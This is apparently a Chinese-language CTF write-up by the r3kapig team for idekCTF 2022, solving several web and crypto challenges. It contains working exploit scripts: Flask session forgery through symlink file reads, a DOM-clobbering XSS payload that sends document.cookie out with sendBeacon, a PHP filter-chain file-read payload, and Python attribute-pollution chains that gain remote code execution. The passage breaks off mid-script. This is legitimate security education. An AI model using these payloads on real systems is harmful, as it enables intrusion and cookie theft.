idek 2022* Web && Crypto Writeup by r3kapig
前言
根据前面我们所整理的wp,这里最后将web&&Crypto的writeup整理完毕在此呈现,希望大家共同学习进步.本比赛的部分Web和Crypto比较困难而且有趣.之后我们会推出一些复现文章,敬请期待.
也欢迎对国际比赛感兴趣的师傅,欢迎简历[email protected].我们会及时回复
Web:
Readme:
很简单签到题，算是个逻辑漏洞问题
这个程序中只有一个路由
http.HandleFunc("/just-read-it", justReadIt)首先简单看一下可以得出程序逻辑如果能成功走到justReadIt函数最下方就能获得flag
func justReadIt(w http.ResponseWriter, r *http.Request) {
defer r.Body.Close()
body, err := ioutil.ReadAll(r.Body)
if err != nil {
w.WriteHeader(500)
w.Write([]byte("bad requestn"))
return
}
reqData := ReadOrderReq{}
if err := json.Unmarshal(body, &reqData); err != nil {
w.WriteHeader(500)
w.Write([]byte("invalid bodyn"))
return
}
if len(reqData.Orders) > MaxOrders {
w.WriteHeader(500)
w.Write([]byte("whoa there, max 10 orders!n"))
return
}
reader := bytes.NewReader(randomData)
validator := NewValidator()
ctx := context.Background()
for _, o := range reqData.Orders {
if err := validator.CheckReadOrder(o); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("error: %vn", err)))
return
}
ctx = WithValidatorCtx(ctx, reader, int(o))
_, err := validator.Read(ctx)
if err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("failed to read: %vn", err)))
return
}
}
if err := validator.Validate(ctx); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("validation failed: %vn", err)))
return
}
w.WriteHeader(200)
w.Write([]byte(os.Getenv("FLAG")))
}我们一点一点来看，首先是接受了一个传来的json数据，解析保存到reqData当中，从下面可以看出只接受一个完全由数字组成的int数组，字段名叫orders
type ReadOrderReq struct {
Orders []int `json:"orders"`
}之后会用randomData初始化一个reader
reader := bytes.NewReader(randomData)而这个randomData则是由initRandomData函数初始化，记住这个password复制在了12625之后
func initRandomData() {
rand.Seed(1337)
randomData = make([]byte, 24576)
if _, err := rand.Read(randomData); err != nil {
panic(err)
}
copy(randomData[12625:], password[:])
}初始化之后会遍历reqData.Orders 调用CheckReadOrder检查oders中的int值范围是否在0-100
func (v *Validator) CheckReadOrder(o int) error {
if o <= 0 || o > 100 {
return fmt.Errorf("invalid order %v", o)
}
return nil
}之后根据数值读出指定位数的值
if err := validator.Validate(ctx); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("validation failed: %vn", err)))
return
}
w.WriteHeader(200)
w.Write([]byte(os.Getenv("FLAG")))这个函数功能就是读32位，之后与password比较，成功返回true，而我们前面说过这个password复制在了12625之后，并且oders数组容量最多只能有10个数字
func (v *Validator) Validate(ctx context.Context) error {
r, _ := GetValidatorCtxData(ctx)
buf, err := v.Read(WithValidatorCtx(ctx, r, 32))
if err != nil {
return err
}
if bytes.Compare(buf, password[:]) != 0 {
return errors.New("invalid password")
}
return nil
}就算全取最大100，10个也才1000，距离我们的12625还差很远
再往前看发现read之前
func (v *Validator) Read(ctx context.Context) ([]byte, error) {
r, s := GetValidatorCtxData(ctx)
buf := make([]byte, s)
_, err := r.Read(buf)
if err != nil {
return nil, fmt.Errorf("read error: %v", err)
}
return buf, nil
}有这样一个调用，如果size大于等于100会调用一个bufio.NewReader
func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
reader := ctx.Value(reqValReaderKey).(io.Reader)
size := ctx.Value(reqValSizeKey).(int)
if size >= 100 {
reader = bufio.NewReader(reader)
}
return reader, size
}这个defaultBufSize是4096
// NewReader returns a new Reader whose buffer has the default size.
func NewReader(rd io.Reader) *Reader {
return NewReaderSize(rd, defaultBufSize)
}最终
SimpleFileServer:
也是python的flask的题目
可以看到获得flag的条件，那就是成为admin，所以很容易猜测到考点是session伪造，而flask里面这个session的生成通常和变量app.config["SECRET_KEY"]息息相关
@app.route("/flag")
def flag():
if not session.get("admin"):
return "Unauthorized!"
return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode("utf-8")因此一切的前提是我们能获得这个SECRET_KEY
app.config["SECRET_KEY"] = os.environ["SECRET_KEY"]而这部分生成在config.py当中
要爆破这部分很明显一是我们需要知道这个time.time()的值，另一个还需要知道SECRET_OFFSET的偏移
除开注册与登录路由，upoad支持上传一个zip文件并解压到指定目录
@app.route("/upload", methods=["GET", "POST"])
def upload():
if not session.get("uid"):
return redirect("/login")
if request.method == "GET":
return render_template("upload.html")
if "file" not in request.files:
flash("You didn't upload a file!", "danger")
return render_template("upload.html")
file = request.files["file"]
uuidpath = str(uuid.uuid4())
filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"
file.save(filename)
subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])
flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")
logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")
return redirect("/upload")uploads/xxx路由支持我们之间读取上传解压后的文件内容
@app.route("/uploads/<path:path>")
def uploads(path):
try:
return send_from_directory(DATA_DIR + "uploads", path)
except PermissionError:
abort(404)这个读文件部分按理说只能读取uploads下的文件，看看底层实现用的是safe_join不支持跨目录读取
可以看到在这里获取路径path后，最终调用open打开文件并返回内容
解决方法是可以配合symlink软连接实现任意文件读，这样我们一方面可以读config.py获取SECRET_OFFSET
另一方面为了得到时间
可以看到题目很良心的在server.log当中输出了time
# Configure logging
LOG_HANDLER = logging.FileHandler(DATA_DIR + 'server.log')
LOG_HANDLER.setFormatter(logging.Formatter(fmt="[{levelname}] [{asctime}] {message}", style='{'))
logger = logging.getLogger("application")
logger.addHandler(LOG_HANDLER)
logger.propagate = False
for handler in logging.root.handlers[:]:
logging.root.removeHandler(handler)
logging.basicConfig(level=logging.WARNING, format='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')
logging.getLogger().addHandler(logging.StreamHandler())不过这个时间不是精确的，通过转换为时间戳我们只能精确到整数部分，不过好在这里随机数的seed是配合round做了取整因此我们就能很容易实现爆破了
我们可以很方便配合这个信息得到time.time()的值 本地ln做一个symlink的文件
之后爆破到SECRET_KEY后，修改admin为true再生成session即可
decoded = {'admin': True, 'uid': userinfo['username']}最终exp，配合flask_unsign(https://github.com/Paradoxis/Flask-Unsign)
import base64
import requests, re, time, datetime, random
import flask_unsign
sess = requests.session()
SECRET_OFFSET = -67198624 * 1000
userinfo = {"username": "yyds", "password": "yyds"}
baseurl = "http://127.0.0.1:1337/"
pocZip = "UEsDBAoAAAAAACJsMVZvT1MBDwAAAA8AAAAKABwAc2VydmVyLmxvZ1VUCQADDzPGYw8zxmN1eAsAAQT1AQAABBQAAAAvdG1wL3NlcnZlci5sb2dQSwMECgAAAAAAG2wxVuPo95IOAAAADgAAAAkAHABjb25maWcucHlVVAkAAwUzxmMFM8ZjdXgLAAEE9QEAAAQUAAAAL2FwcC9jb25maWcucHlQSwECHgMKAAAAAAAibDFWb09TAQ8AAAAPAAAACgAYAAAAAAAAAAAA7aEAAAAAc2VydmVyLmxvZ1VUBQADDzPGY3V4CwABBPUBAAAEFAAAAFBLAQIeAwoAAAAAABtsMVbj6PeSDgAAAA4AAAAJABgAAAAAAAAAAADtoVMAAABjb25maWcucHlVVAUAAwUzxmN1eAsAAQT1AQAABBQAAABQSwUGAAAAAAIAAgCfAAAApAAAAAAA"
cookie = ""
log_url = ""
def register():
reg_url = baseurl + "register"
sess.post(reg_url, userinfo)
def login():
global cookie
set_cookie = sess.post(baseurl + "login", data=userinfo, allow_redirects=False).headers['Set-Cookie']
cookie = set_cookie[8:82]
def upload():
global log_url
log_url = re.search('<a href="/uploads/.*">', sess.post(
baseurl + "upload", headers={'Cookie': f'session={cookie}'},
files={'file': base64.b64decode(pocZip)}).text).group()[9:-2]
def read():
server_log = baseurl + log_url + "/server.log"
config = baseurl + log_url + "/config.py"
SECRET_OFFSET = int(re.findall("SECRET_OFFSET = (.*?) # REDACTED", sess.get(config).text)[0]) * 1000
log = sess.get(server_log).text
now = (time.mktime(datetime.datetime.strptime(log.split('n')[0][1:20], "%Y-%m-%d %H:%M:%S").timetuple())) * 1000
return SECRET_OFFSET,now
if __name__ == '__main__':
register()
login()
upload()
SECRET_OFFSET, now = read()
while 1:
decoded = {'admin': True, 'uid': userinfo['username']}
random.seed(round(now + int(SECRET_OFFSET)))
SECRET_KEY = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
flag_url = baseurl + "flag"
res = sess.get(flag_url, headers={'Cookie': f'session={flask_unsign.sign(decoded, SECRET_KEY)}'}).text
if "idek" not in res:
now += 1
print(now)
continue
print(res)
breakJSON Beautifier:
关键点在于 outputBox.innerHTML是没过滤的 可以看到csp是 script-src 'unsafe-eval' 'self'; object-src 'none';
beautify 中，如果设置了 config.debug JSON.stringify(userJson, null, cols)的输出会被eval()
只要能控制 cols 就可以
但是现在的问题是传统的clobbering不生效的 所以我翻了一些标签 https://portswigger.net/research/dom-clobbering-strikes-back 找到了frameset
<iframe name=config srcdoc="<head id=debug></head><frameset id=opts cols=eval(name)></frameset>"></iframe>'></iframe>这样就能get到一个xss了
但我们现在有一个问题 首先刚才说的东西 eval()都在beautify()里面触发 只有beautify函数被加载时候才会生效
所以需要用户输入和DOMCharacterDataModified事件被触发 但我们可以做到一个事情 首先在我们将上面属性都破坏的前提下 再加载一下main.js即可
poc大概如下
{"xxx":"<iframe name='navigator.sendBeacon(atob(/url/.source),document.cookie)' srcdoc='<div id=json-input>[-3]</div><script defer src=/static/js/main.js></script><iframe name=config srcdoc="<head id=debug></head><frameset id=opts cols=eval(name)></frameset>"></iframe>'></iframe>"}Paywall:
想看原理的移步陆队之前写的，由于有现成的工具直接当脚本小子即可
https://tttang.com/archive/1395/#toc_iconv-filter-chain
本题是用php实现的一个blog系统，除开样式读取核心代码非常简单
<?php
error_reporting(0);
set_include_path('articles/');
if (isset($_GET['p'])) {
$article_content = file_get_contents($_GET['p'], 1);
if (strpos($article_content, 'PREMIUM') === 0) {
die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
}
else if (strpos($article_content, 'FREE') === 0) {
echo "<article>$article_content</article>";
die();
}
else {
die('nothing here');
}
}
?>
可以看到，对于文章内容前是PREMIUM的不能读取，FREE的则可以读 很可惜我们的flag文件恰好前面也是PREMIUM，那么要想读取这个文件很显然我们可以配合php的filter构造出FREE四个字母也就可以实现读取了
下面是工具
https://github.com/synacktiv/php_filter_chain_generator
https://github.com/WAY29/php_filter_chain_generator
发现直接生成出来的虽然有FREE，但是都无法看了
FREE�B�5$TԕT���FV��F�F��U�E�7V'65##�u�C��W%��7w5�W"����>==�@C������>==�@然而发现把每个环节的convert.iconv.UTF8.UTF7去掉
就可以变成明文了，脚本小子表示很神奇，最后为了不丢失符号(毕竟Base64字符里面没有一些特殊符号!{}!之类的)，因此第一步事先base64enccode一下
最终得到payload
http://127.0.0.1/?p=php://filter/convert.base64-encode|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode/resource=flag但是根据这样构造本地发现会少最后三个字符，除开}符号还剩两个 看看题目描述可以猜出最后俩字符，Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPPaper，最后一个字母肯定是个符号所以是!
idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}
当然最后发现工具也可以直接用，注意后面有俩空格
python php_filter_chain_generator.py --chain 'FREE '得到
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flagtask manager:
本题当时没有做出来属于赛后复现,不过比较有意思
作者参考了部分来自以下文章的思路
https://blog.abdulrah33m.com/prototype-pollution-in-python/
题目有点原型链污染的味道，也可以说是借鉴了pyjail的一些思路，很有意思的一道题目。 作者提供了对于 pydash.set_ 的封装，可以通过变量路径设置值，类似一个高级版的 setattr。比如：
>>> pydash.set_({"A":{"B":"C"}}, "A.B", "D")
{'A': {'B': 'D'}}寻找访问 app 的方法:
在 taskmanager.py 里面调用 pydash.set_() 可以通过实例化的 TaskManager 对象利用特殊属性实现对 app 对象的修改：
pydash.set_(
TaskManager(),
'__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.xxx',
'xxx'
)将 eval 加入模板全局变量
然后再回来看 app.py ，可以发现一段很奇怪的代码：
既然 app 已经可控了，如果能够实现 before_first_request 的重复调用那么就可以在模板中实现任意代码执行了，经过一些寻找发现可以通过将 app._got_first_request 设置为 False 实现。
设法调用 eval
接下来就是寻找方法对已经放入模板全局变量的 eval 函数进行调用，而 add_template_global 函数是通过 __name__ 来确定变量名字的，但是 builtin 函数的 __name__ 是只读的，所以没有办法用来改个名字放进去，只有找现有文件中存在 eval 的来当作模板。在题目中只有 app.py 出现了 eval ，可以尝试利用。
这里使用的方法是对 app.jinja_env 的 variable_start_string 和 variable_end_string 进行替换，原本 jinja 是通过识别 {{.*}} 来识别模板中的变量的，但是我们可以通过修改这两个值来更改 jinja 识别变量的方式，从而拼接出一个rce。
绕过 jinja 的目录穿越检查实现任意文件渲染
下面一个问题是现在只能够对 templates 下面的文件进行渲染，但是这里面的 html 很明显是用不了的，所以要想办法让他可以渲染任意文件，在 jinja 源码(https://github.com/pallets/jinja/blob/36b601f24b30a91fe2fdc857116382bcb7655466/src/jinja2/loaders.py#L24-L38) 可以看到是通过 os.path.pardir 来对目录穿越进行了保护，但是我们可以通过修改 pardir 的值来绕过。
最后在对 app.py 进行利用的时候发现虽然出现了 eval ，但是并没有 eval(.*) 的形式出现，尝试通过修改 app.jinja_env 的 comment_start_string 和 comment_end_string 来让 jinja 把文件的一部分当作注释删掉来凑成一个 eval(.*) 的形式，但是 jinja 解析时会报错，后来发现 {{ eval{# #}(.*) }} 这种中间有注释的模板变量本来就不能正常解析，但是现在既然可以渲染任意文件了，所以可以尝试在 python 库里面寻找出现 eval(.*) 的文件，最后找到了 turtle.py。
exp:
import requests
import re
base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
exp_url = f'{base_url}/../../usr/local/lib/python3.8/turtle.py'
app = '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app'
# add eval to template globals
requests.post(url, json={"task": f"{app}.env", "status": "yolo"})
requests.post(url, json={"task": f"{app}._got_first_request", "status": None})
# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})
# change jinja_env
requests.post(url, json={"task": f"{app}.jinja_env.variable_start_string", "status": """'""']:n value = """})
requests.post(url, json={"task": f"{app}.jinja_env.variable_end_string", "status": "n"})
# add global vars
requests.post(url, json={"task": f"{app}.jinja_env.globals.value", "status": "__import__('os').popen('cat /flag-*.txt').read()"})
# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)非预期:
由于作者把 flag 写在 Dockerfile 里面了，并且在构建容器的时候是通过 RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt 写的 flag 通过COPY . .添加的题目代码，这就意味着 Dockerfile 本身也被复制进了容器，所以在实现 LFI 之后就可以直接读取 Dockerfile 就可以拿到 flag 了
import requests
import re
base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
exp_url = f'{base_url}/../Dockerfile'
# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})
# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)通过 jinja2.runtime.exported 实现 rce
https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager
通过 jinja 源码(https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1208) 可以发现模板的生成其实是调用了 environment.from_string，而在 from_string 函数中又调用了(https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1105) environment.compile，并且对 compile 会返回一个 code 对象，后续会被 exec(https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1222)，如果我们能够控制这里 exec 的内容那么就可以实现 rce。 经过简单的调试可以 在这里(https://github.com/pallets/jinja/blob/main/src/jinja2/compiler.py#L839) 发现在生成代码的时候有一个可控变量 exported_names，他是 runtime(https://github.com/pallets/jinja/blob/main/src/jinja2/runtime.py#L45) 里面的一个数组，所以我们完全可以通过 pydash.set_() 来进行覆盖，从而达到 rce。
import requests, re
base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
flag_url = f'{base_url}/../../tmp/flag'
payload = '''*
__import__('os').system('cp /flag* /tmp/flag')
#'''
# bypass jinja directory traversal check
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})
# replace exported to prepare rce
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0", "status": payload})
# trigger rce
requests.get(f'{base_url}/home.html')
# get flag
s = requests.Session()
r = requests.Request(method='GET', url=flag_url)
p = r.prepare()
p.url = flag_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)Crypto:
Cleithrophobia:
以一段3*16bit长的明文为例，填充与加密流程如下（最后会将密文反序输出）：
b1, b2, b3
b0(rand), b1, b2, b3, b4(pad)
b0, b0^E(b1), b1^E(b2), b2^E(b3), b3^E(b4)
b0, D(b3^E(b4))^(b0), D(b2^E(b3))^(b3^E(b4)), D(b1^E(b2))^(b2^E(b3)), D(b0^E(b1))^(b1^E(b2))
考虑在这个过程中构造加密、解密的payload
Enc-payload：b0(rand), b'x00'*16, b2, msg, b4(pad)
-
• 此时密文中D(b1^E(b2))^(b2^E(b3))=D(E(b2))^b2^E(msg)=b2^b2^E(msg)=E(msg)
Dec-payload：b0(rand), b1, b2, msg^E(b4), b4(pad)
-
• 此时密文中D(b3^E(b4))^(b0)=D(msg^E(b4)^E(b4))^b0=D(msg)^b0，且b0已知 至此即可将密文链条恢复到前一状态，进而得到明文
from pwn import *
host, port = 'cleithrophobia.chal.idek.team:1337'.split(':')
io = remote(host, int(port))
def oracle(payload):
io.sendlineafter(b'| > (hex) ', payload.hex().encode())
io.recvuntil(b'|n| ')
now = bytes.fromhex(io.recvline().strip().decode())
return [now[i:i+16] for i in range(0, len(now), 16)][::-1]
def enc(block):
assert len(block) == 16
payload = b'x00' * 32 + block
res = oracle(payload)
return res[3]
def dec(block):
assert len(block) == 16
mask = enc(b'x10' * 16)
payload = b'x00' * 32 + xor(block, mask)
res = oracle(payload)
return xor(res[0], res[1])
# rand, b1, b2, b3, pad
# b0, b0^E(b1), b1^E(b2), b2^E(b3), b3^E(b4)
# b0, D(b3^E(b4))^(b0), D(b2^E(b3))^(b3^E(b4)), D(b1^E(b2))^(b2^E(b3)), D(b0^E(b1))^(b1^E(b2))
io.recvuntil(b'flag = ')
flag = bytes.fromhex(io.recvline().strip().decode())
flag = [flag[i:i+16] for i in range(0, len(flag), 16)][::-1]
t1 = [flag[0]]
for i in range(len(flag) - 1):
t1 += [enc(xor(flag[i+1], t1[-1]))]
t1 = t1[:1] + t1[1:][::-1]
t2 = [flag[0]]
for i in range(len(flag) - 1):
t2 += [dec(xor(t1[i+1], t2[-1]))]
flag = b''.join(t2)
print(flag)
# flag{wh0_3v3n_c0m3s_up_w1th_r1d1cul0us_sch3m3s_l1k3_th1s__0h_w41t__1_d0}ECRSA:
先将椭圆曲线的加法在有理数域下进行计算得到3T的坐标值，而有理数域下的除法相当于模下乘逆元，因此3T的两个坐标值可以得到模n下的两个等式，然后再根据3T在该曲线上，得到另一个等式，联立这三个等式，发现第三个等式为一个关于a的线性方程，在有理数域下解得a的值，代入前两式，然后对两式的计算结果的分子求gcd，即可得到n的值；得到n的值后，因为e,d都已知，故可以分解n，分别在GF(p)和GF(q)上求得ECC的阶，将两阶相乘得到Zmod(n)下的阶，然后解密即可得到flag。
#sage
from gmpy2 import *
from Crypto.Util.number import long_to_bytes
def add(P, Q):
x0, y0 = P
x1, y1 = Q
if P == Q:
lmd = (3*x0**2+a)/(2*y0)
else:
lmd = (y1-y0) / (x1-x0)
x2 = lmd**2 - x1 - x0
y2 = lmd*(x0 - x2) - y0
return x2, y2
R.<a> = PolynomialRing(ZZ)
P = (ZZ(int.from_bytes(b"ECRSA offers added security by elliptic entropy.", 'big')), 2)
P2 = add(P, P)
P3 = add(P, P2)
f = str(P3[0]).split('/') + str(P3[1]).split('/')
f = [R(i) for i in f]
Te = (79615329406682121028641446306520032869660130854153788352536429332441749473394735222836513266191300847548366008281109415002581029448905418880962931523411475044527689429201653146200630804486870653795937020571749192405439450656659472253086567149309166068212312829071678837253421625687772396105149376211148834937,114576105009077728778286635566905404081211824310970349548035698466418670695753458926421098950418414701335730404414509232776047250916535638430446206810902182305851611221604003509735478943147034397832291215478617613443375140890349118302843641726392253137668650493281241262406250679891685430326869028996183320982)
Me = (115076663389968253954821343472300155800654332223208277786605760890770425514748910251950393842983935903563187546008731344369976804796963863865102277460894378910744413097852034635455187460730497479244094103353376650220792908529826147612199680141743585684118885745149209575053969106545841997245139943766220688789,74232642959425795109854140949498935461683632963630260034964643066394703345139733396470958836932831941672213466233486926122670098721687149917605871805886006479766670309639660332339984667770417687192717160061980507220617662938436637445370463397769213554349920956877041619061811087875024276435043752581073552318)
f0 = f[0] - f[1] * Te[0]
f1 = f[2] - f[3] * Te[1]
f2 = Te[0]**3 + a*Te[0] - Te[1]**2-(Me[0]**3 + a*Me[0] - Me[1]**2)
print(f2)
a0=-1019268867267849424908357367733931941383149668286864008861662442680604058151693707791547011105186550019092586871229367602480951232469366295595128740384313397226761125592114592001298261062965213964211518794413291961567779146411551935492149763883963272734637871273976142997464735273842094527385872407012350495753298964870092922939941557312324244091706263803037684216879489854927518197495340486943316099448245524778860809444971443935794707968413693163036741320366137839392605690457251072731869232133843078162397057596189198269026990658078279998575424676768178510688889622050681034958153231556029864713685758814785896436116013310016899574654253785383489362957328536913784532588181648611237704933470028564747329012603054002623952267126949886810588734363614455501359064859547724824540676184962858003962647114120432607459636061800842389469449254464940592103479283633803337327710969181902456604551946745128222513462440426982787689316/35461333983286132926179897165780122930994201369054489434069331558328676041354175029113880576792635056014821537727621929367395775348058444984139345937482903866216723668650381489254556656243626825448157082781627457815353457873166675359113112992434419615906572916077530737800547480858069601139990567555071853852
#assert Zmod(n)(a0)==a1
b1=int(str(f0(a0)).split('/')[0])
b2=int(str(f1(a0)).split('/')[0])
n=ZZ(gcd(b1,b2))
d=99193023581616109152177764300040037859521925088272985981669959946817746109531909713425474710564402873765914926441545005839662821744603138460681680285655317684469203777533871394260260583839662628325884473084768835902143240687542429953968760669321064892423877370896609497584167478711224462305776836476437268587
a=Zmod(n)(a0)
b=(Te[1]^2-(Te[0]^3+a*Te[0]))%n
print(n)
p=12290271213546041363951851773787980582602437964255454723585180242187866091592878156042540239644364150942318226563612517243038643884916020981628688069132457
q=12106285759457603837646209698473787447139576157605716627376889077738609086595516271990595704705464336024969899141833853372028724555298162959385807206566981
E1=EllipticCurve(GF(p),[a,b])
E2=EllipticCurve(GF(q),[a,b])
E=EllipticCurve(Zmod(n),[a,b])
#order=E1.order()*E2.order()
order=148789535372424163728266646450060056789282887632409478972504939920226619164296671910830162422173521086104260442096339694304886999126003562791358712412416317442287195786906697615489065379945573862193455179868067475036156124279466870451072060581891741234837916854904063588317305400955406105882208744056825746850
print(order)
dd=invert(3,order)
print(long_to_bytes(ZZ((E(Me)*dd)[0])))
'''
b"It is UNBREAKABLE, I tell you!! I'll even bet a flag on it, here it is: idek{Sh3_s3ll5_5n4k3_01l_0n_7h3_5e4_5h0r3}"
'''Chronophobia：
由于不知道n的分解，我们无法计算出phi，也就无法快速计算出
的值，但是题目提供了一个oracle，可以帮我们计算出给定token的计算结果的高200个十进制位，而低位大概是108个十进制位，于是我们可以通过以下方法求出给定token的低位：
于是我们对两个低位使用二元coppersmith，就可以计算出结果，进而可以恢复整个结果。 值得注意的地方是，二元coppersmith的参数很重要，一开始我直接用的默认m和d，发现结果虽然会满足
，但是却并不是我们所需要的解，将参数设置为m=4,d=4，就可以把我们需要的结果copper出来。
#sage
from pwn import *
import itertools
from Crypto.Util.number import *
def small_roots(f, bounds, m=2, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m+1):
base = N^(m-i) * f^i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1/factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B*monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
context.log_level="debug"
#s=process(['python3','oracle.py'])
s=remote("chronophobia.chal.idek.team",1337)
s.recvuntil(b'Here is your random token: ')
t=int(s.recvline()[:-1].decode())
s.recvuntil(b'The public modulus is: ')
n=int(s.recvline()[:-1].decode())
s.recvuntil(b'Do 2^')
d=int(s.recvline()[:3].decode())
fac=[t,pow(t,2,n)]
H=[]
B=[]
for i in range(2):
s.recvuntil(b'>>> ')
s.sendline(b'1')
s.recvuntil(b'Tell me the token. ')
s.sendline(str(fac[i]).encode())
s.recvuntil(b'What is your calculation? ')
s.sendline(b'1')
s.recvuntil(b'Nope, the ans is ')
tmp=int(s.recvuntil(b'... (')[:-5].decode())
bits=int(s.recvline()[:3].decode())
H.append(tmp)
B.append(bits)
P.<x,y>=PolynomialRing(Zmod(n))
f1=H[0]*10**B[0]+x
f2=H[1]*10**B[1]+y
f=f1^2-f2
roots=small_roots(f,(10**B[0],10**B[1]),m=4,d=4)[0]
roots=(roots[0],roots[1])
c1=roots[0]+H[0]*10**B[0]
c2=roots[1]+H[1]*10**B[1]
assert (c1^2-c2)%n==0
s.recvuntil(b'>>> ')
s.sendline(b'1')
s.recvuntil(b'Tell me the token. ')
s.sendline(str(t).encode())
s.recvuntil(b'What is your calculation? ')
s.sendline(str(c1).encode())
s.recvline()
s.recvuntil(b'>>> ')
s.sendline(b'2')
s.recvuntil(b'Give me the ticket. ')
s.sendline(str(c1).encode())
s.recvline()
s.recvuntil(b'>>> ')
s.sendline(b'3')
s.recvline()
#idek{St@rburst_str3@m!!!}Megalophobia:
题目模拟了把RSA私钥加密发送给用户再由用户上传的过程。这个过程中，虽然不能直接修改密钥为特定内容，但可以对d,u进行随机修改。同时服务端使用了CRT-RSA的方式进行解密并可以返回解密后的明文长度是否为128。考虑将u修改，则当明文小于q时可以正常解密，否则解密结果为随机值，有很大概率长度为128。这样就可以二分得到q从而恢复私钥。
from pwn import *
from Crypto.Util.number import *
# context.log_level = "debug"
io = connect("megalophobia.chal.idek.team", 1337)
io.recvuntil(b"::n| ")
data = io.recvline().strip().decode()
pub, sec = data.split("::")
e = 0x10001
n = int(pub, 16)
sec = bytes.fromhex(sec)
print(f"{n = }")
print(sec)
u_len = 0x40
target_u_len = 0x39
